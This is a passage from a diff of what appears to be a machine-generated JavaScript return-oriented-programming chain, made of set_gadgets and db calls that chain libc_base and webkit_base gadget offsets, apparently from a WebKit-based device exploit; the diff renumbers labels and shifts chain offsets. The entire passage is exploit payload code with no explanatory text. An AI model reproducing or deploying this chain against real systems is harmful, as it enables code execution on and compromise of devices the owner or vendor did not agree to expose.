libc_base+793877, //pop rsi -ropchain+121400, //L1466 +ropchain+121368, //L1464 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1464: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L1466: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1465: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+121504, //L1469 +ropchain+121488, //L1469 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+121488, //L1468 +ropchain+121472, //L1467 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1468: +//L1467: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1469: @@ -9557,15 +9555,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+121648, //L1472 +ropchain+121632, //L1472 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+121616, //L1470 +ropchain+121600, //L1470 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+121632, //L1471 +ropchain+121616, //L1471 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -9582,7 +9580,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+121720, //L1473 +ropchain+121704, //L1473 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -9592,12 +9590,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+121776, //L1476 +ropchain+121760, //L1475 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1476: +//L1475: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -9606,25 +9604,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+121856, //L1478 +ropchain+121840, //L1478 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L1478: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L1477: -db([32, 0]); // 0x20 set_gadget(libc_base+792472,); //pop rcx -//L1479: +//L1477: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L1479: +db([32, 0]); // 0x20 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+121960, //L1480 +ropchain+121944, //L1480 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+121976, //L1481 +ropchain+121960, //L1481 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -9642,7 +9640,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+122064, //L1482 +ropchain+122048, //L1482 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -9652,19 +9650,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+122120, //L1485 +ropchain+122104, //L1484 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1485: +//L1484: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+122192, //L1486 +ropchain+122176, //L1486 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -9674,12 +9672,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+122248, //L1489 +ropchain+122232, //L1488 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1489: +//L1488: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -9690,29 +9688,29 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+122352, //L1492 +ropchain+122320, //L1490 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1490: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L1492: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1491: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+122456, //L1495 +ropchain+122440, //L1495 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+122440, //L1494 +ropchain+122424, //L1493 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1494: +//L1493: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1495: @@ -9720,15 +9718,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+122600, //L1498 +ropchain+122584, //L1498 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+122568, //L1496 +ropchain+122552, //L1496 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+122584, //L1497 +ropchain+122568, //L1497 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -9745,7 +9743,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+122672, //L1499 +ropchain+122656, //L1499 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -9755,12 +9753,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+122728, //L1502 +ropchain+122712, //L1501 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1502: +//L1501: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -9769,25 +9767,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+122808, //L1504 +ropchain+122792, //L1504 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L1504: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L1503: -db([37, 0]); // 0x25 set_gadget(libc_base+792472,); //pop rcx -//L1505: +//L1503: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L1505: +db([37, 0]); // 0x25 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+122912, //L1506 +ropchain+122896, //L1506 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+122928, //L1507 +ropchain+122912, //L1507 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -9805,7 +9803,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+123016, //L1508 +ropchain+123000, //L1508 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -9815,12 +9813,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+123072, //L1511 +ropchain+123056, //L1510 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1511: +//L1510: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -9833,29 +9831,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+123192, //L1514 +ropchain+123160, //L1512 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1512: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L1514: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1513: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+123296, //L1517 +ropchain+123280, //L1517 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+123280, //L1516 +ropchain+123264, //L1515 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1516: +//L1515: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1517: @@ -9863,15 +9861,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+123440, //L1520 +ropchain+123424, //L1520 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+123408, //L1518 +ropchain+123392, //L1518 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+123424, //L1519 +ropchain+123408, //L1519 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -9888,7 +9886,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+123512, //L1521 +ropchain+123496, //L1521 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -9898,12 +9896,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+123568, //L1524 +ropchain+123552, //L1523 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1524: +//L1523: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -9912,25 +9910,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+123648, //L1526 +ropchain+123632, //L1526 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L1526: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L1525: -db([33, 0]); // 0x21 set_gadget(libc_base+792472,); //pop rcx -//L1527: +//L1525: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L1527: +db([33, 0]); // 0x21 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+123752, //L1528 +ropchain+123736, //L1528 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+123768, //L1529 +ropchain+123752, //L1529 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -9948,7 +9946,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+123856, //L1530 +ropchain+123840, //L1530 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -9958,19 +9956,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+123912, //L1533 +ropchain+123896, //L1532 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1533: +//L1532: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+123984, //L1534 +ropchain+123968, //L1534 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -9980,12 +9978,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+124040, //L1537 +ropchain+124024, //L1536 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1537: +//L1536: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -10005,29 +10003,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+124192, //L1541 +ropchain+124160, //L1539 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1539: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L1541: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1540: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+124296, //L1544 +ropchain+124280, //L1544 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+124280, //L1543 +ropchain+124264, //L1542 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1543: +//L1542: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1544: @@ -10035,15 +10033,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+124440, //L1547 +ropchain+124424, //L1547 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+124408, //L1545 +ropchain+124392, //L1545 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+124424, //L1546 +ropchain+124408, //L1546 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -10060,7 +10058,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+124512, //L1548 +ropchain+124496, //L1548 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -10070,12 +10068,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+124568, //L1551 +ropchain+124552, //L1550 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1551: +//L1550: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -10084,25 +10082,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+124648, //L1553 +ropchain+124632, //L1553 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L1553: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L1552: -db([34, 0]); // 0x22 set_gadget(libc_base+792472,); //pop rcx -//L1554: +//L1552: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L1554: +db([34, 0]); // 0x22 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+124752, //L1555 +ropchain+124736, //L1555 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+124768, //L1556 +ropchain+124752, //L1556 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -10120,7 +10118,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+124856, //L1557 +ropchain+124840, //L1557 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -10130,19 +10128,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+124912, //L1560 +ropchain+124896, //L1559 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1560: +//L1559: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+124984, //L1561 +ropchain+124968, //L1561 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -10152,12 +10150,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+125040, //L1564 +ropchain+125024, //L1563 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1564: +//L1563: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -10177,29 +10175,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+125192, //L1568 +ropchain+125160, //L1566 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1566: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L1568: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1567: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+125296, //L1571 +ropchain+125280, //L1571 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+125280, //L1570 +ropchain+125264, //L1569 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1570: +//L1569: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1571: @@ -10207,15 +10205,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+125440, //L1574 +ropchain+125424, //L1574 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+125408, //L1572 +ropchain+125392, //L1572 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+125424, //L1573 +ropchain+125408, //L1573 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -10232,7 +10230,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+125512, //L1575 +ropchain+125496, //L1575 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -10242,12 +10240,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+125568, //L1578 +ropchain+125552, //L1577 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1578: +//L1577: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -10256,25 +10254,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+125648, //L1580 +ropchain+125632, //L1580 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L1580: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L1579: -db([35, 0]); // 0x23 set_gadget(libc_base+792472,); //pop rcx -//L1581: +//L1579: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L1581: +db([35, 0]); // 0x23 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+125752, //L1582 +ropchain+125736, //L1582 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+125768, //L1583 +ropchain+125752, //L1583 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -10292,7 +10290,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+125856, //L1584 +ropchain+125840, //L1584 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -10302,19 +10300,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+125912, //L1587 +ropchain+125896, //L1586 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1587: +//L1586: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+125984, //L1588 +ropchain+125968, //L1588 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -10324,12 +10322,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+126040, //L1591 +ropchain+126024, //L1590 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1591: +//L1590: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -10340,29 +10338,29 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+126144, //L1594 +ropchain+126112, //L1592 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1592: -db([24, 0]); // 0x18 -set_gadget(libc_base+792472,); //pop rcx -//L1594: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1593: +db([24, 0]); // 0x18 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+126248, //L1597 +ropchain+126232, //L1597 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+126232, //L1596 +ropchain+126216, //L1595 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1596: +//L1595: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1597: @@ -10370,15 +10368,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+126392, //L1600 +ropchain+126376, //L1600 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+126360, //L1598 +ropchain+126344, //L1598 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+126376, //L1599 +ropchain+126360, //L1599 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -10396,29 +10394,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+126488, //L1603 +ropchain+126456, //L1601 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1601: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L1603: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1602: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+126592, //L1606 +ropchain+126576, //L1606 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+126576, //L1605 +ropchain+126560, //L1604 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1605: +//L1604: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1606: @@ -10426,15 +10424,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+126736, //L1609 +ropchain+126720, //L1609 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+126704, //L1607 +ropchain+126688, //L1607 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+126720, //L1608 +ropchain+126704, //L1608 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -10451,7 +10449,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+126808, //L1610 +ropchain+126792, //L1610 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -10461,12 +10459,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+126864, //L1613 +ropchain+126848, //L1612 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1613: +//L1612: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -10475,25 +10473,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+126944, //L1615 +ropchain+126928, //L1615 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L1615: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L1614: -db([36, 0]); // 0x24 set_gadget(libc_base+792472,); //pop rcx -//L1616: +//L1614: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L1616: +db([36, 0]); // 0x24 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+127048, //L1617 +ropchain+127032, //L1617 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+127064, //L1618 +ropchain+127048, //L1618 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -10511,7 +10509,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+127152, //L1619 +ropchain+127136, //L1619 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -10521,19 +10519,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+127208, //L1622 +ropchain+127192, //L1621 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1622: +//L1621: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+127280, //L1623 +ropchain+127264, //L1623 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -10543,12 +10541,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+127336, //L1626 +ropchain+127320, //L1625 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1626: +//L1625: db([0, 0]); // 0x0 